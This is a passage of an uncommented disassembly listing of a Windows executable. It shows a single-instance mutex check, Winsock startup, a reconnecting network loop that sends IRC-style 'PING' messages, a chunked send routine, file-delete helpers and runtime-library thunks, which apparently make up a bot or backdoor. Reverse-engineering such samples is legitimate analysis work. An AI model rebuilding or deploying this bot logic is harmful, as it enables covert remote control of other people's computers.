		mov	[ebp+var_17B0],	eax

loc_4165BF:				; CODE XREF: sub_415F69+6C7j
		mov	eax, [ebp+var_17B0]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416632
		push	180h
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17B0]
		push	eax
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------

loc_41661F:				; CODE XREF: sub_415F69+6B2j
		mov	eax, [ebp+var_17B0]
		add	eax, 17Fh
		mov	[ebp+var_17B0],	eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------

loc_416632:				; CODE XREF: sub_415F69+35Bj
					; sub_415F69+42Aj ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_416637:				; CODE XREF: sub_415F69+2A9j
					; sub_415F69:loc_416229j ...
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------

loc_416653:				; CODE XREF: sub_415F69+6B4j
		jmp	short loc_416637
; ---------------------------------------------------------------------------

loc_416655:				; CODE XREF: sub_415F69+63Fj
		jmp	short loc_416637
; ---------------------------------------------------------------------------

loc_416657:				; CODE XREF: sub_415F69+70j
					; sub_415F69+BDj ...
		pop	edi
		leave
		retn	4
sub_415F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------

loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------

loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3

loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------

loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DE30

loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41DA10
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------

loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------

loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------

loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax

loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------

loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax

loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4167F1	proc near		; DATA XREF: .data:00420415o

var_12F4	= dword	ptr -12F4h
var_12F0	= dword	ptr -12F0h
var_12EC	= byte ptr -12ECh
var_115C	= byte ptr -115Ch
var_1128	= dword	ptr -1128h
var_1121	= byte ptr -1121h
var_1120	= byte ptr -1120h
var_101C	= dword	ptr -101Ch
var_1018	= byte ptr -1018h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	dword_4170F4	; SetErrorMode
		and	[ebp+var_4], 0
		push	dword_41DA54
		push	dword_41DA50
		push	3B6h
		push	dword_41DA4C
		push	0
		push	dword_41DA48
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp+var_115C]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 20h
		and	[ebp+var_1128],	0
		jmp	short loc_416875
; ---------------------------------------------------------------------------

loc_416868:				; CODE XREF: sub_4167F1:loc_4168BAj
		mov	eax, [ebp+var_1128]
		inc	eax
		mov	[ebp+var_1128],	eax

loc_416875:				; CODE XREF: sub_4167F1+75j
		cmp	[ebp+var_1128],	0Ah
		jnz	short loc_416883
		call	sub_407148

loc_416883:				; CODE XREF: sub_4167F1+8Bj
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp+var_115C]
		push	eax
		push	0
		push	0
		call	dword_4170F8	; CreateMutexA
		mov	[ebp+var_12F0],	eax
		cmp	[ebp+var_12F0],	0
		jz	short loc_4168BA
		call	dword_417064	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------

loc_4168BA:				; CODE XREF: sub_4167F1+BBj
					; sub_4167F1+C5j
		jmp	short loc_416868
; ---------------------------------------------------------------------------

loc_4168BC:				; CODE XREF: sub_4167F1+C7j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DA48
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA48
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA48
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	dword_41EC30, eax
		call	sub_410422
		mov	dword_41EC34, eax
		call	sub_410422
		mov	dword_41EC38, eax
		call	sub_410422
		mov	dword_41EC3C, eax
		push	104h
		lea	eax, [ebp+var_1120]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DE30
		push	offset dword_41EB2C
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------

loc_416961:				; CODE XREF: sub_4167F1+158j
		lea	eax, [ebp+var_1120]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_12F4],	eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------

loc_416976:				; CODE XREF: sub_4167F1:loc_4169DFj
		mov	eax, [ebp+var_12F4]
		dec	eax
		mov	[ebp+var_12F4],	eax

loc_416983:				; CODE XREF: sub_4167F1+183j
		cmp	[ebp+var_12F4],	0
		jnz	short loc_41699F
		push	offset byte_41DE30
		push	offset dword_41EB2C
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------

loc_41699F:				; CODE XREF: sub_4167F1+199j
		mov	eax, [ebp+var_12F4]
		movsx	eax, [ebp+eax+var_1121]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp+var_12F4]
		lea	eax, [ebp+eax+var_1120]
		push	eax
		push	offset dword_41EB2C
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EB2C
		push	offset dword_41EC40
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------

loc_4169DF:				; CODE XREF: sub_4167F1+1BFj
		jmp	short loc_416976
; ---------------------------------------------------------------------------

loc_4169E1:				; CODE XREF: sub_4167F1+16Bj
					; sub_4167F1+1ACj ...
		call	sub_406E8E
		lea	eax, [ebp+var_12EC]
		push	eax
		push	202h
		call	dword_417264	; WSAStartup

loc_4169F8:				; CODE XREF: sub_4167F1+252j
					; sub_4167F1+2B6j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	[ebp+var_101C],	0

loc_416A19:				; CODE XREF: .data:00416AE2j
		mov	[ebp+var_4], 1

loc_416A20:				; CODE XREF: sub_4167F1:loc_416A6Fj
					; sub_4167F1+2CFj
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	[ebp+var_101C],	19h
		jnz	short loc_416A45
		and	[ebp+var_4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------

loc_416A45:				; CODE XREF: sub_4167F1+24Cj
		cmp	[ebp+var_101C],	14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
; ---------------------------------------------------------------------------

loc_416A62:				; CODE XREF: sub_4167F1+25Bj
		mov	eax, [ebp+var_101C]
		inc	eax
		mov	[ebp+var_101C],	eax

loc_416A6F:				; CODE XREF: sub_4167F1+26Fj
		jmp	short loc_416A20
; ---------------------------------------------------------------------------

loc_416A71:				; CODE XREF: sub_4167F1+243j
		push	1000h
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC

loc_416AA3:				; CODE XREF: sub_4167F1+2A7j
		and	[ebp+var_4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------

loc_416AAC:				; CODE XREF: sub_4167F1+2B0j
		and	[ebp+var_101C],	0
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
sub_4167F1	endp

; ---------------------------------------------------------------------------

loc_416AC5:				; DATA XREF: .data:004172A8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------

loc_416ADB:				; DATA XREF: .data:004172ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
		jmp	loc_416A19
; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword_41DE38, 0
		jz	short loc_416B1E
		push	offset dword_41DD54
		push	offset dword_41DAB4
		call	sub_40D4AB
		pop	ecx
		pop	ecx

loc_416B1E:				; CODE XREF: .data:00416B0Bj
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; sub_4020C2+62p ...
		jmp	dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: sub_401244+85p
					; sub_4017AA+22p ...
		jmp	dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: sub_401244+25p
					; sub_401244+4DEp ...
		jmp	dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: sub_401244+1Ap
					; sub_401981+18p ...
		jmp	dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; sub_4055E5+231p ...
		jmp	dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: sub_401981+145p
					; sub_401981+158p ...
		jmp	dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: sub_401E38+1ABp
					; sub_4020C2+1A6p ...
		jmp	dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: sub_401E38+179p
					; sub_402698+24Cp ...
		jmp	dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: sub_401E38+9Dp
					; sub_401E38+262p ...
		jmp	dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: sub_401E38+42p
					; sub_4020C2+159p ...
		jmp	dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: sub_4020C2+2C1p
					; sub_41102F+94p ...
		jmp	dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: sub_4020C2+198p
					; sub_4020C2+1BCp ...
		jmp	dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; sub_4083AD+3DFp ...
		jmp	dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BC0	proc near		; CODE XREF: sub_403DF3+8p
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0

loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC

loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
					; .data:00416B26p
		jmp	dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------

loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72

loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------

loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF

loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi

loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi

loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
		jmp	dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------

loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6

loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi

loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi

loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DBA	proc near		; DATA XREF: sub_4093B6+Ao
					; sub_4094E6+Ao ...
		jmp	dword_41715C
sub_416DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p ...
		jmp	dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; sub_409DD0+13Bp
		jmp	dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------

